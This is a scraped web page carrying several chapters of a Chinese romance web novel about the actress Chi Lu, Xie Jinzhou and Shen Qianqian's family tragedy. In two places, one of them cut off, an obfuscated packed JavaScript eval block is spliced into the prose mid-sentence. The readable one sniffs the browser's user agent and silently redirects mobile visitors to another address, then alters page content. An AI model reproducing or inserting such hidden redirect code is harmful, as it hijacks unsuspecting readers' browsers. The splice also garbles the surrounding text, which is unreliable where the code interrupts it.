这是她惯有的习惯,不少日常微博,除了仅好友可见,还有限定时间,主打一个随缘。 难道他看到那条微博了?所以才会买了一台一模一样的台灯? 驰路打开台灯,蝴蝶身体处便亮起暖光,照得蝴蝶翅膀闪闪发亮。 她刚想关掉,空气中响起轻松的旋律,她的手放在按钮上忽然间僵住。 这首歌的旋律那么熟悉,歌声一出,是她唱的。 这是他定制的台灯?里面还放了她唱的歌? 驰路觉得不可思议之余,又觉得心酸,那时的谢劲舟正在经历一段很难熬的时光吧,比她更难熬,比她更痛苦吧! 他是不是整晚整晚地睡不着?身上背负着失去他爸和她离开的痛楚,也背负着高考的压力。那些时光,他是怎么靠着她熬下去的?除了念想,还有这跟她一样的台灯、台灯里她的歌声? 驰路眼睛泛酸,握着台灯按钮的手越发紧了,凸起的一块几乎要嵌进她的肉里,她任由疼痛蔓延。 门忽然响了,驰路连忙收回酸涩的情绪,说了声:“请进。” 但看到来人时,惊了下,不是谢劲舟,而是今天的寿星沈倩倩。 “这儿没水,给你拿了水壶和水杯。”沈倩倩把水壶放到地上,又把水杯放到桌上,看着坐在床边,神色有点异样的驰路,“嫂子,你怎么了,心情不好?” “哪有。”驰路佯装没事,笑着说,“今天有幸能参加你的生日,很开心。” “谢谢嫂子的礼物。”沈倩倩看到驰路给自己送了十样礼物时,大为震惊,对于驰路会不会送她礼物,沈倩倩不在意,也没抱任何希望,但当她拎着几大袋礼袋给她时,她惊得无法说一个字。驰大明星给她送这么多礼物,是什么意思? 她跟驰路说:“嫂子,我只要一个,其他的你都拿走。” 驰路说:“都是你喜欢的,都给你,六年里,你的生日,我一次都没参与,这次把礼物一次性补全。” 沈倩倩一扫便知道那些礼物都不便宜,而且都是她喜欢的,有她觊觎很久的一双运动鞋、一套知名运动品牌的套装、一个五位数的包包…… 她看着满满的礼物,感动得眼眶红了,激动得无以言表,最后能说出口的,是最简单的话语,却也是她内心最真实的声音:“谢谢嫂子!” 沈倩倩走到驰路身前:“嫂子,你知道舟哥有多过分吗,平时都不让我来他的房间的,生怕我把他的东西弄乱。但你来了就不一样了,他的房间,你能随便进,晚上还能……跟他同床共枕。”言语间,生出些许羡慕。 “倩倩,你喜欢舟哥吧?” “舟哥那么帅,又那么好,谁不喜欢。”沈倩倩说,“不过,那都是过去式了,现在,我不喜欢了,我把他让给你了。” 驰路不禁笑了,让给她了?谢劲舟从来都是她的,不会属于其他的任何人! 不过,驰路没跟她计较,而是问:“倩倩,你怎么会住进舟哥家的?” 沈倩倩从桌前拉来椅子,坐过去:“这是一段有些长的故事,是舟哥心头的伤,你不用问他,我告诉你。” 122. 沈倩倩的秘密 「小蝴蝶,想过无数次再把你带回栾花巷32号。 终于等到这一天了! 枯木可以逢春,失散的蝴蝶,也可以归岸。」 ——《小船靠岸》 六年前,谢鸿运因赌钱,一次次输,又一次次借高利贷,借了还不起,屡次问谢劲舟要,但他不是摇钱树,不可能有花不完的钱,而且他每次给谢鸿运的钱也都有限。 谢鸿运跟他伸手十次,他最多只借两次,就算借,两人都会针锋相对、唇舌交战,只差没动手。 谢劲舟有过想跟谢鸿运断绝父子关系的想法,但他们在同一个户口本上,他身上流淌着谢鸿运的血,他一辈子都是他老子,他逃不掉这命运的枷锁。 谢鸿运欠钱不还,经常遭到高利贷的讨债,被谢劲舟看到了,还能帮他,但结果是两方都会受伤。 谢劲舟的脸上、身上没少挨过拳头,没少流过血,他次次跟谢鸿运说:“你能不能别赌了,非要把命搭上,你才罢休吗?” 谢鸿运也挨了不少拳头,眼睛被打肿了,鼻子流着血,却还是笑着说:“你老子想赌就赌,你要是不想老子死,就给老子还钱啊!” 谢鸿运欠下的赌债越来越多,怎么填也填不上,也没人帮他填,一次在要债中,要债的失手把他活活打死了。 而打死他的,是沈倩倩的哥哥——沈亮,也是当年要债的红发男。 沈亮当时吓坏了,看着满脸是血谢鸿运,浑身都发着抖。 沈倩倩得知消息后,赶去见沈亮时,他已经被抓到了警局,手上拷着手铐,整个人颓得不成人样。 沈亮像个木偶人,呆坐着,好久都没说话。 那时的沈倩倩16岁,上高一,第一次遇到这样的事,也被吓坏了,来的路上,坐在公交车的最后一排,垂着脑袋一直哭,眼睛肿得像只兔子。 站在警局前,她把眼泪都擦干净,调整好情绪才走进去,但看到她哥的时候,佯装“我没事”“我很好”的情绪,一下子崩塌,心又直直地往下坠,落入悬崖深处。 她在这世上唯一的亲人是她哥,父母在他们小时候相继因病去世,她哥小学没上完就出去捡垃圾维生,别的小朋友一看到她,都嘲笑她“你们看,她就是垃圾妹,脏得要命,我们不要跟她玩”。 别人越是这么说她,沈倩倩越是会反抗,会理直气壮地跟他们说:“垃圾妹怎么了,我靠自己捡垃圾生活,一点都不丢人,不像你们,还在用家里的钱。” 她是一棵生命力旺盛的野草,不论放在哪个环境里,都能蓬勃生长。 而野草最大的土壤,是她哥。 她哥告诉她:“倩倩,捡垃圾不丢脸,我们要生活,就要靠自己。”“倩倩,哥小学没毕业,但哥不会让你不上学。钱的事你不用担心,哥去赚。” 她哥不过比她大三岁,遭过的冷嘲热讽、干过的脏活累活都比她多很多很多。 跟着她哥后面捡了两年垃圾,后来,她哥不让她捡垃圾了,说他找到比捡垃圾更赚钱的活儿了。 但沈倩倩还是会每天很早起床、很晚出门去翻垃圾桶,从臭气熏天的腐烂物里翻找瓶瓶罐罐、纸箱,偷偷地攒一堆,虽然每次卖的钱少得可怜,但一年下来,她也能攒大几百。 她会用这钱给她哥买生日蛋糕、生日礼物。 她生日那天,从不给自己买生日蛋糕、生日礼物,但她总会收到她哥送的。 她哥跟她说:“倩倩,每年的生日,哥都会陪你过。如果有一天,哥去了很远的地方,赶不回来给你过生日,你也要记得给自己买生日蛋糕和礼物,知不知道?” 沈倩倩那次去警局,两人都沉默着,她不知道能说什么安慰话。事情已成定局,杀人偿命,这是谁都知道的道理。 她怪她哥吗?怪!想骂他吗?很想!但更多的是痛苦,心头像压着一块巨石,压得她快无法喘息。 她上学时,就听到别人在背后议论她:“她就是那个混混的妹妹,我们不要惹她。” 她哥是混混?怎么可能!他只是染了个红头发,就是混混了吗? 混混不都是那种整天抽烟、喝酒、打架闹事的吗,她怎么就没见过她哥抽过一次烟、喝过一次酒、打过一次架。 她印象中最深的一次,是她上初三时,她哥很晚才回来,眼睛又紫又肿,嘴巴上有红色的伤口。她着急地问他是怎么回事。沈亮笑着说:“倩倩,给哥煮碗面吧,哥想吃你煮的鸡蛋面了。” 直到警察告诉她,她哥是催债的,是打手,她才相信,她哥可能是混混,却从不在她面前表现出来。 在她面前,沈亮是那个让她不用操心钱好好上学的哥哥,也是那个每年陪着她过生日的哥哥,他把所有的细心、贴心都给了她。 那次,她哥只开口说了一句话:“倩倩,哥对不起你,你要好好照顾自己。” 后来,开过几次庭,沈倩倩次次都请假过去了,看到她哥一次比一次憔悴、一次比一次颓丧,心里特别不是滋味。 那年中考,以她的成绩,原本可以考芳町一中,但因为她哥的事,影响了她的学习和心态,分数线远远超出芳町二中,却选择了芳町三中,因为去芳町三中,她可以有奖学金和助学金。 她知道,以后没有哥照顾的日子,她需要奖学金,需要生活费。 沈亮因过失伤人,情节严重,被判处六年五个月。 在沈亮进监狱前,沈倩倩最后一次见他,他告诉她,他房间衣柜的抽屉里,有一个钱夹,里面有一张银行卡,那里面是给她的攒的生活费,够她用三年。 她哥面色沉郁地跟她说:“倩倩,哥会在里面好好改造,争取早点出来。” 沈倩倩挤出笑:“哥,我会做饭,会好好学习,会争取考985大学。” 一走出看守所,沈倩倩脸上的笑容全都烟消云散,再也忍不住一直憋着的酸楚,眼睛眨两下,两行眼泪哗地流下来,像夏季忽然下起了一场暴雨。 她靠墙蹲着,把脑袋埋在膝盖里,哭得像个傻子。 每次都这样,见她哥时,总会装作“她很好”的样子,但其实,她一点都不好。 没有了哥哥,她像一具行尸走肉。 她的世界,再不完整。 无数个夜晚,她偷偷地躲在被子里哭,一遍遍地想着,要是她早点发现她哥是混混该有多好。 她哥为了给她更好的生活,才会走上一条歧路吧。 她怀念,她跟她哥一起捡垃圾的日子,那时候,他们一天三顿都喝薄得能照出人影的米粥,吃过期的榨菜,但他们在小小的房子里,过得比谁都快乐。 有哥的地方,就有家。 哥不在了,家也不是家了。 * 沈倩倩第一次看到谢劲舟,是他来她家找她。 那天,她正在洗衣服,听到敲门声,正纳闷会是谁来找她。 自从周围的人知道她是杀人犯的妹妹后,身边的朋友也都远离她了,她成了人人可以欺负的“杀人犯的妹妹”,无数恶毒的言语,像刀子一样刺中她的心脏。 那是她第一次体会到,什么叫语言比利器还伤人。 她一身对抗他人、对抗世界的细胞,每天都在拉窗看到太阳从远处升起时,那些细胞都复活了。 不就是六年五个月吗,她偏不让那些嘲讽她的人得逞,她偏要活得比谁都要好。 就算世界把她抛弃了,最起码,她还有哥哥,她会等到哥哥回来的那天! 当沈倩倩看到一个陌生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但她没有立刻答应,在谢劲舟走后,她上网搜了关于谢劲舟以及他家的所有情况,看到了关于谢劲舟上高一时被校园霸凌的新闻,说他是“杀人犯的儿子”,那时的他,还是一头黑发,额前的头发长得遮住了眉眼,看起去那么颓丧,跟找她时的谢劲舟完全不同。 现在的谢劲舟浑身透着痞劲儿,肆意张扬,眼里透出锐利的锋芒,一看就不好惹。 是看她可怜,所以才想做她的哥哥的吧! 那天晚上,沈倩倩一晚都没睡,脑袋里想着白天谢劲舟说的话,脸上似乎还有他指腹留下的温度。 那是第一次除了她哥以外,有另外一个男生亲昵地触碰到她的脸颊。 她承认,在那一刻,她心动了。 第二天,沈倩倩给谢劲舟打了通电话,同意做她的妹妹,得来的是,让她搬进他家,方便照顾。 从那以后,她在这世界上,多了一个哥哥,多了一个妹妹,还多了一个奶奶。 她不再是一个人了,回到家不再是黑漆漆一片,也有一处灯,为她而亮。 谢劲舟是真把她当妹妹,每次回来,谢林乔有的,她也有。 每次生日,他都会回来给她过,买生日蛋糕,买生日礼物,好像他是她真正的哥哥。 他越是这样,她对他的喜欢,似荒原野草,疯了般生长。 她藏不住心事,也不想藏,因为她知道,像谢劲舟这样帅、这样有才能的男生,应该早点抓住,只是,她的每次告白,换来的都是谢劲舟让她好好学习。 …… 她常去监狱里探监,看看她哥过得怎么样。 沈亮在最初一年表现不错,有减刑的机会,但后来他在监狱里处了兄弟,帮别人出头,滋事打架,减刑机会没了。 还有三个月十三天,她哥就要出狱了,还能赶上跟她一起过元旦。 等她哥出来了,她就要离开谢家了吧。 123. 哭包谢大佬 「Z,你曾送我一个鼎沸的夏天,我却留你下沉的人间。 我们都曾走过荒原,也都曾灿烂热烈。 十八岁的少年,喜欢着他的蝴蝶,永远炽热耀眼。」 ——《小蝴蝶的星光》 沈倩倩说着自己的故事,很多地方都说得云淡风轻,仿佛在说别人的故事,只有在说到她哥和谢劲舟时,她的眼睛里才流露出不同寻常的光,或忧伤或欣喜。 在这个故事里,驰路也跟沈倩倩一样,想不明白,为什么他要收留一个杀父仇人的妹妹。 是对沈倩倩的同情? 谢劲舟在那种情况下,只会觉得沈倩倩是个累赘吧,他的父亲离世,女朋友离开,家里还有奶奶、妹妹需要照顾,再收留一个人,不是给自己找麻烦吗。 他是善良,但还没心慈到这种程度吧。 沈倩倩见驰路面露不解地看她,笑了笑:“是不是觉得舟哥很奇怪,为什么要收留我。” “嗯。”驰路盘腿坐到床上,一手撑着脑袋,侧头看沈倩倩。 “这也是我的疑问,后来等熟了之后,我问过他。” “他怎么说。” “他说,有一次,远远地看到有几个人围着我打我,来的时候,那帮人打完走了。看我一个人蹲在墙角哭,哭得眼泪和血都混在一起,想到了高一时的他。他想帮一帮这个可怜的女生。后来,我才知道,那天给我递纸的人是他。” “真是稀奇!” 驰路无法想象,看起来高高在上、冷痞的谢劲舟,会给一个陌生人递纸。 他对这些事,从来都置身事外,不是不管,是之前管过,有时会被人误解,有时会被人讹上,之后,他就不管了。 为什么会对沈倩倩生出怜悯之心?仅仅因为她跟从前的他一样,都经历过相似的风暴? “是啊,后来我才知道,他这人冷得很,也拽得很,根本就不会为女生做这种事,但他为我做了。”沈倩倩勾唇一笑,“不过跟嫂子的相比,对我做的也不算什么。” “他为我做过什么?” “能等一个人等六年,不容易。” “你不也等了六年。” “不一样,我能看到他,还有希望。”沈倩倩说,“他都看不见你,还守了你六年。偷偷告诉你啊,他会偷偷地看你的每条微博,也会偷偷关注你的动态,只不过……” “只不过什么?” “他从来不看你演的电视剧。” “为什么?”驰路觉得奇怪,都偷偷关注她的微博和动态了,怎么就不去看她演的电视剧。 “我想啊,可能舟哥看了你演的电视剧会吃醋,毕竟你都演的偶像剧。” 驰路勾唇,轻笑了下,谢劲舟会做出这种事,因为他是占有欲界的冠军,吃醋界的王者。 “你不知道,当时你离开后,他有多痛苦。”沈倩倩拿出手机,翻找视频。 驰路看到了视频存的文件夹名是【1573】,是一往情深的谐音。 “倩倩,文件名是不是要改下了?” “啊!”沈倩倩手下一顿,尴尬地朝驰路一笑,“现在就改。” 用了六年的【1573】文件夹名,被改成了【舟哥】。 回到最初,他仅仅只是她的舟哥。 沈倩倩心头泛起难言的酸涩,却把这样的情绪压了回去。 她知道,她要告别过去了,要清理掉所有喜欢过谢劲舟的痕迹了。 她找到了一个视频,给驰路看,长达六分钟。 视频里的谢劲舟倚靠在二楼的栏杆处,穿着黑皮衣、黑长裤,整个人陷在黑暗中,跟夜色融为一体,四周萦绕着的是飘散开的烟雾。 这是被放大拍的视频,像素比较低,栏杆上摆的是一个个歪倒的空啤酒罐,他正在抽着烟,看起来是个颓丧的厌世少年。 她从没见过这样的谢劲舟,丧到不行,仿佛世界只剩下他一个人,他活在一座孤岛上,孤苦无依。 他嘴里在说着什么,声音小得听不清,驰路拉回去,把声音调到最大,才听到他说:“我的蝴蝶飞走了,我要怎么办?” 声音哑到不行,沉得像浸了冰。 看到三分钟的地方,他就默默地抽烟,脸上似有泪水。 驰路难以置信地放大视频,黑暗中,他那张痞帅的脸上,确实有泪水。 她的心忽然不可遏制地一疼,宛若针扎。 他什么时候这样哭过,抽泣着哭,一直哭了三分钟。 她记得他唯一一次在她面前掉眼泪,是弄丢了那条骨灰项链。 那次他哭得极其隐忍、克制,眼泪掉得快,抹掉得也很快。 但这次全然不同,他看起来,像在发泄压抑了很久的痛苦,这些痛苦找不到出口,而眼泪好像才是他唯一的出口。 他从来都是不羁的、张扬的,骨头那么硬的一个人,竟然躲在黑夜里哭泣,哭得像个失去了最心爱玩具的小孩。 这不过是被沈倩倩拍到的其中一幕,在更多个夜晚,他是不是都这样痛哭过? 驰路看得眉头紧蹙,抓着手机的指关节泛白。 她的小船哭了,她很心痛。 * “嫂子,以后不要再丢下舟哥了。”沈倩倩离开房间前跟驰路说,“你要一直一直在他身边,因为,他很爱很爱你。” “嗯。”驰路轻轻点头,从看到那条视频起,基本都垂着眼眸。 等听到房门被关上的声音,驰路胸腔里被压抑的痛楚汹涌而出,涌到喉咙口,堵得她嗓子发疼,一直红了的眼眶,终究没忍住,啪嗒,眼泪一滴一滴地砸在她的手背上。 视频里抽泣着哭的谢劲舟,哭着说“我的蝴蝶飞走了,我要怎么办?”的谢劲舟,整整哭了三分钟的谢劲舟。 他的眼泪,为她而流。 当年她离开,她以为他会跟之前一样,可以回到正轨,没有她,他也可以活得很好。 但他过得不好,一点都不好。 他整夜整夜失眠吃药时,在想什么? 他一下一下划破右脚踝时,在想什么? 他在右脚踝文上小船和蝴蝶文身时,在想什么? 他为她写78封邮件,她一封没回时,在想什么? 他在无人的暗夜里,为她流泪时,又在想什么? 她的小船过得不好,都是因为她…… 驰路肆意地哭着,脸上全是眼泪,有人敲门,她没听到,有人悄悄地走过来,她也没发觉。 直到眼前被阴影覆盖住,她才抬头,映入眼帘的是一头雾霾蓝的头发,还有右耳上闪闪的耳挂,他的眉眼深邃好看,即使穿着普通的黑色衬衫、牛仔裤,也像从画报里走出来的耀眼明星。 小台灯发出昏黄的光,照在他那张痞帅的脸上,他的棱角依旧那么分明,下颌线那么利落,依旧有少年感。 他仿佛还是那个十八岁的少年,收留她、守护她,愿意做她唯一的神明,也愿意做她可以永远停靠的舟。 但当年的她,还是自私地逃走了,离开了她的小船。 她怪他为什么没有守约去车站时,因为她,在大雪纷飞中,他的尊严被人碾碎,被人打断了腿。 她怪他六年里,从来没有联系过自己,他却每个月给她写一封邮件,整整写了78封,哪怕她一封都没回。 他说,她是他跟这个世界的链接,但在六年前,她亲自斩断了这份链接。 “舟哥!”驰路再也无法控制自己愧疚又痛苦的心情,一把搂住谢劲舟的腰,把脑袋深深地埋在他的腰间。 眼泪很快浸湿了谢劲舟的衬衫,她听到他用格外宠溺的声音说:“阿驰,怎么哭了?” 驰路抬头,满脸泪水地看着谢劲舟,带着哭腔:“舟哥,对不起,让你为我伤心了六年。” 谢劲舟坐到她身前,帮她擦着眼泪:“怎么突然跟我说对不起?” “就……看到小台灯,听到你定制的音乐,是我的……”驰路不会提他哭,他那么要面子的一个人,肯定不希望有人提他为爱哭。 “如果说到伤心,你跟我打的那通电话,说一辈子都恨我,还挺伤人。”不是挺伤人,应该是特别伤他的心。 他在那个盛夏为她掏出全部的真心,换来的是她打电话跟自己说“一辈子都恨你”这样的话,还不止一次。 “有吗?”她什么时候说过?驰路努力在脑中一番搜寻,始终找寻不到一丝一毫。 …… 第一次给谢劲舟打电话是在高考结束那年,她参加班里举行的毕业聚会,喜欢她的男生不少,纷纷过来跟她碰杯,那天她喝得大醉,有男生想主动送她回去,却被她拒绝。 她打了车,坐在出租车上,风吹着她的脸,终于毕业了,终于可以去上自己理想的大学了,多想跟谢劲舟分享她的近况,但翻开手机,想找他的微信,才猛然察觉,原来早就把他删了。他的电话号码也早就被她删了,她却倒背如流。 借着酒劲,驰路给他拨了电话,没人接,又打,连续打了四五通都没人接。 这个浑蛋,知道是她打的,故意不接? 算了,不打了,自找没趣。 驰路刚想挂断电话,对方却接了。 驰路靠在窗户上,积压在心头近半年的苦楚疼地冒出头,她忍不住控诉他,声音很哑,像哭过:“谢劲舟,你这个浑蛋,为什么没有联系我?是不是把我忘了?我恨你!” 手机被攥紧,她看着窗外后退的街景,抬手在窗户上写“谢劲舟”。 窗户上没有雾气,也没有水珠,她写了什么,看不见,如雁过无痕。 接着,她看着那看不见的“谢劲舟”,放声大哭。 第二次给谢劲舟打电话是在大学毕业那年,同校不同班的男生请她吃饭,故意把她灌醉,领着她来到酒店,趁她身体瘫软无力,想要对她行不轨,她拿起床头柜上放着的电话,一把砸在了他的头上,才得以脱身。 那天下了一场很大的雷阵雨,她冲出酒店,飞奔在雨幕中,任由雨水砸在身上。头顶交织着雷电,轰隆隆作响,闪电一次次划过她的眼帘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560840|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她穿着最华丽的晚礼服,身体被雨水浇得湿透,狼狈不堪。 她的身体瑟瑟发抖,心里交织着对方才男生对她图谋不轨的愤怒和后怕,还有对雷电的恐惧。 她躲到一家甜品店外面,坐在最上面一层台阶上,遮住些风雨。 这样的事不是第一次发生了,但那次是最严重的一次,如果不是她及时脱身,后果不堪设想。 别人总说,发生这种事啊,就是女生穿的裙子太短,是你去勾引男生的,男生犯下错也是因为女生。 但驰路并不这么认为,女生有穿衣自由的权利,穿衣短,就代表在勾引男生吗?那个男生把她压在床上时跟她说:“要怪就怪你,为什么要穿这么短的裤子。” 身为女生,不能穿短裤?她觉得可笑又心酸。 也不知在屋檐下坐了多久,驰路拿出手机,几乎是出于本能地拨了那个烂熟于心的手机号码。 对方竟然很快接了,但没说一句话,驰路兀自说:“谢劲舟,你这个浑蛋,你怎么不在我身边,你不是要做我的神明吗?你食言了!你有种联系我啊!没种吧!呵,真是个浑蛋!我会一辈子都恨你!” 说着说着,声音哽咽,眼泪流了下来,放声大哭,委屈又痛苦。 第三次给谢劲舟打电话是今年除夕夜跨年,她刚荣获偶像剧《摇摇晃晃的青春》最佳女主角奖,也荣获了微/博知名红人,去参加走红毯。别人都觉得她风光无限,但只有她知道,风光是真的,每年过年那天的落魄也是真的。 每年除夕夜,李浦总会带着她跟路女士参加家庭聚会,一桌人,她没有一个想深聊,出于礼貌,常常会展开“你问我答”。别人言笑晏晏、侃天侃地,而她像一个局外人,不想进入谁的世界,也不想谁进入她的世界。 很多人跟她碰杯,跟她合影,她不得不喝很多很多的酒,喝到醉意上头,也没人放过她。 等她被司机送到住处时,酒精弄得她头昏脑涨,她会站在别墅二楼的阳台上吹吹风,希冀着让冷风吹走难受。 结果,冷风没吹走难受,那些陈年旧事齐齐从她心头涌出,都是关于她跟谢劲舟的。 他是她的小船,也是她不愿触碰的伤疤。 即使日日将往事掩埋,也无法掩盖她没有忘记他的事实。 驰路拿起手机,给谢劲舟打电话,第一次没接,她想,要不算了吧,快六年了,这个浑蛋一次都没联系过自己,为什么要联系他! 心里这么想着,但身体却做出本能反应,继续打,接通了,电话那头仍然没说话,她没好气地说:“谢劲舟,你这个浑蛋,快六年了,你早就把我忘了吧?你知道我这辈子最后悔的事是什么吗,就是认识你!如果让时间倒流,我宁愿从没认识你!你不是说我是你的信仰吗?信仰,早就在六年前被你瓦解了,不再属于我了!你给我听好了,我不会忘记你,我会一辈子都恨你!” 每个字都咬得那么重,控诉意味很浓,但控诉到最后,却把自己弄哭了,对着电话放声大哭。 这三次驰路的断片时刻,都被谢劲舟深深地烙在心上,而当事人却已遗忘。 第一次,谢劲舟听她哭了三分六十秒。 第二次,谢劲舟听她哭了五分二十秒。 第三次,谢劲舟听她哭了九分二十秒。 而这些,他喜欢的蝴蝶,从不知道。 每一次哭都会喊他的名字,不喊“舟哥”,而是喊“谢劲舟”。 她也不会知道,第一次,谢劲舟在她挂断电话后说:“阿驰,别哭了,我没有忘记你,我爱你!” 第二次,谢劲舟在她挂断电话后说:“我没有食言,我每个月都在给你写邮件,你是不是一封都没有看过?我是个浑蛋,不过,你敢把我忘了,你就死定了!” 第三次,谢劲舟在她挂断电话后说:“阿驰,我这辈子做过不少后悔的事,但有一件事,从没后悔过,就是爱过你。如果让时间倒流,老子还会再爱你一次!你最好一辈子都恨我!” 她更不会知道,这三次给谢劲舟打电话,谢劲舟都恨不得长了翅膀,立刻飞到她身边,抱住她,亲口跟她说:“阿驰,别哭,老子心疼。” 她的每一次放声大哭,都像扎进他心间的一根刺,后劲很足,让他整夜整夜无法入眠。 脑中想的都是,她发生了什么,为什么要哭得那么伤心,只是因为讨厌他没联系她,还是发生了别的事。 今年过年那天,谢劲舟跟罗子昂一起去霓虹酒吧看“清白”乐队演出,他举着的应援牌上写着“清清,920。” 他问罗子昂“920”什么意思,罗子昂跟他普及了一番爱情数字密码。 其中三个数字让谢劲舟想起了驰路,想起她放声大哭的时间。 920=就爱你。 520=我爱你。 360=想念你。 谢劲舟忍不住勾唇,露出让罗子昂费解的笑容。 罗子昂疑惑:“舟哥,你笑什么?” 谢劲舟说:“有个傻子,连哭都在爱老子!” 124. 哄小蝴蝶喝药 「小蝴蝶,在我这里,你不用遵循世间法则。 你是你的法则,谁都不能主宰你。 当年,你做离开的决定,我从没怪过你。 喜欢你,想占有你,但更想给你自由。 不管是现在,还是未来,你都可以做自由飞翔的蝴蝶。」 ——《小船靠岸》 “我怎么一点都想不起来了。”驰路怎么也想不起来自己对谢劲舟洒泪控诉了三次,忍不住掩面。 对着电话,跟前任鬼哭狼嚎,真是丢死人了! 谢劲舟拿开她遮住脸的手,抚摸着她的脸颊,用格外宠溺又心疼的眼神看她,一字一句地说:“阿驰,以后不准喝醉,不准在喝醉的时候给人打电话,更不准哭!如果想哭了,就来找我,我不能说有本事让你不哭,但我可以给你一个可以哭的肩膀。” 驰路听得眼泪忍不住滑落,泪眼朦胧地看着谢劲舟:“舟哥,是我自私,六年前离开了你,没能陪你走入下一个夏天。” 她还想再说什么,谢劲舟捂住了她的嘴,眼泪划过他的指缝间,他的心一疼,将驰路抱在怀里:“水往低处流,人往高处走。你属于高山,就不该待在平原。每个人都该为自己的前程考虑,而不该着于眼前。你在人生的岔路口,选择了一条适合你的路,这没有错。蝴蝶在冰天雪地里无法飞翔,它本该飞往阳光万丈的春天。” 谢劲舟握住她的手,十指相扣,侧头看她:“现在,我的蝴蝶飞回来了,我们一起走入下一个夏天。” * 驰路休息了一天,烧是退了,喉咙有些不舒服,谢劲舟一早便给她端来了雪梨姜汤,说能缓解喉咙疼痛。 但她不喜欢姜片的味道,喝了一小口就放在床头柜:“不想喝。” 谢劲舟端起碗,递到她嘴边,哄她:“阿驰乖,喝了喉咙好得快,这样才不影响你说台词。” 驰路只好一口一口地喝,喝得直皱眉。 等喝完,一把抱住谢劲舟,像浑身卸了力气,咬他的耳朵:“舟哥,你真够狠的,我感冒了,昨晚你都不放过我!” “怎么,不喜欢?”谢劲舟也咬了她耳朵一口,摸着她脖颈处的红痕,“你仰头的时候,还挺迷人。” 驰路抓住他的手,控诉:“我仰头,不是为了让你乱亲乱咬的,跟狗似的。” “你也好不到哪里去。”谢劲舟看着她魅惑人心的眼睛,拉开衣服,给他看自己的肩膀,“看,都是你留下的,属猫的吧。” 驰路把他的衣服再往下拉了下,看着他肩上和背上的道道红痕,心下一惊,昨晚是有多激烈啊! …… 驰路跟谢劲舟一起到剧组时,顾辞山看到驰路宽松的防晒衫里穿着白色高领背心,跟她说:“今天挑条领子高点的旗袍。” 驰路先是愣了一秒,但很快镇定自若道:“好的,顾导。” 他们在剧组里保持着距离,但顾辞山看出来他们在一起了。 驰路来到化妆间,发现来了个新面孔,小苏给她介绍:“驰姐,这是接下来你的御用化妆师,曹老师。” “曹老师好。”驰路跟曹老师问好。 这次换的化妆师看起来快四十岁,人看起来温厚老实。 叶薇薇呢? 彼此打过照面后,在驰路化妆间隙,她问小苏:“叶老师呢?” “驰姐,你还不知道吗?” “知道什么?” “也是,这两天你没来剧组。”小苏说,“叶老师,不,是叶薇薇把你的走光照卖给了狗仔,侵犯了你的肖像权,被拘留了两天,还罚款了。真没想到她是那样的人,狗仔是给了她多大的好处,她要做这种事。” 叶薇薇卖给狗仔的?驰路难以置信,她跟自己的相处一直都很融洽,为什么要做这种事? …… 这天要拍陆程真跟陈醉在客厅喝酒的场景,陆程真知道陈醉酒量高,也不会轻易让自己喝醉,他挑起关于苏棠的话题,明显发现他的情绪不对,一步步引他说关于苏棠的,只是从中得知,原来苏棠是他高中的女朋友,是他的初恋。 陆程真更为疑惑了,他为什么要杀了他的初恋?初次见面时,能看出来,两人已经好多年都没见过面,也没联系过了。 那晚,陈醉喝醉了,陆程真听到他说:“对不起,对不起……” 他对不起谁?对不起苏棠,还是对不起迪娜、林墨? 陆程真那晚的计划,原本是想灌醉陈醉,引出他有没有对苏棠对什么,结果他守口如瓶,丝毫没有从他的嘴里套出一点他有罪的证据。 祁梦提议要不要先下手为强,对陈醉来说,已经杀了三个人,再多杀一个、两个,没什么区别。 陆程真跟祁梦说:“祁梦,我不希望你的手上沾血,更不希望你一命抵一命,为他这种人渣,不值得。” …… 拍完这场戏,天已经黑了,剧组人员收拾东西,准备下山。 驰路先去化妆室换掉了身上的旗袍,换了一身常服,正要去找谢劲舟,听到周柏屿的化妆间传来熟悉的声音。 她见过道上没人,便靠近门边,听到周柏屿说:“你以后别来找我了,我对你没有任何想法。” “你是不是还在生我的气,气我把驰路的照片给狗仔?”是叶薇薇的声音,语调跟平时完全不同,带着卑微。 “你只是把照片给狗仔吗?”周柏屿带着气,“你今天跟人打电话时,我无意间听到了,是你故意在给驰老师系带子时系松了,就希望她走光,想拍她的走光照,让她名誉扫地、颜面无存。” “柏屿,你肯定听错了,我没有这样说。” “呵!”周柏屿轻嗤一声,“敢做还不敢承认?叶薇薇,你很可耻!以后别来找我,也别给我打电话、发信息,再来的话,我会移交给我的律师,告你骚扰!” 屋里传来咚的声音,还有哭泣的女声:“柏屿,我错了,你原谅我好不好?” “你别跟我说这些,你应该道歉的人是驰老师,不是我。” 门打开,驰路看到一脸怒气的周柏屿,这还是第一次看到他如此生气。 周柏屿看到驰路,愣了下,继而如往常一样,礼貌地朝她打招呼:“驰老师。” “周老师好。”驰路朝他轻轻颔首。 驰路看到叶薇薇正跪在地上,满脸震惊地看她,但很快站起来,腿却发软,身体朝一旁倾斜,扶住桌面才稳住,看着驰路的双眼含着惊慌和害怕,嘴里喃喃地说:“驰……驰……” 驰路快步走上前,没等她继续说,抬手照着她的脸甩去,打得她脸歪向一边。 叶薇薇抚上脸颊,身体有些颤抖,努力抬眼看驰路,正怒气冲冲地瞪她,眼睛里似有火焰。 但也就只看了一眼,空气中又响起“啪”的声响,叶薇薇的另一边脸颊也泛起疼意,她听到驰路掷地有声道:“叶薇薇,你送我两份大礼,让全网的人嘲笑我、讥讽我,恶意抹黑我,你为什么要这么做?” 叶薇薇理亏,又被她这两巴掌打得有些懵,心脏剧烈跳动,等反应过来,像疯了一样抬手要打驰路,却被驰路一把抓住了手腕。 叶薇薇没想到驰路的力气那么大,捏着她的手腕,让她无法挣脱。 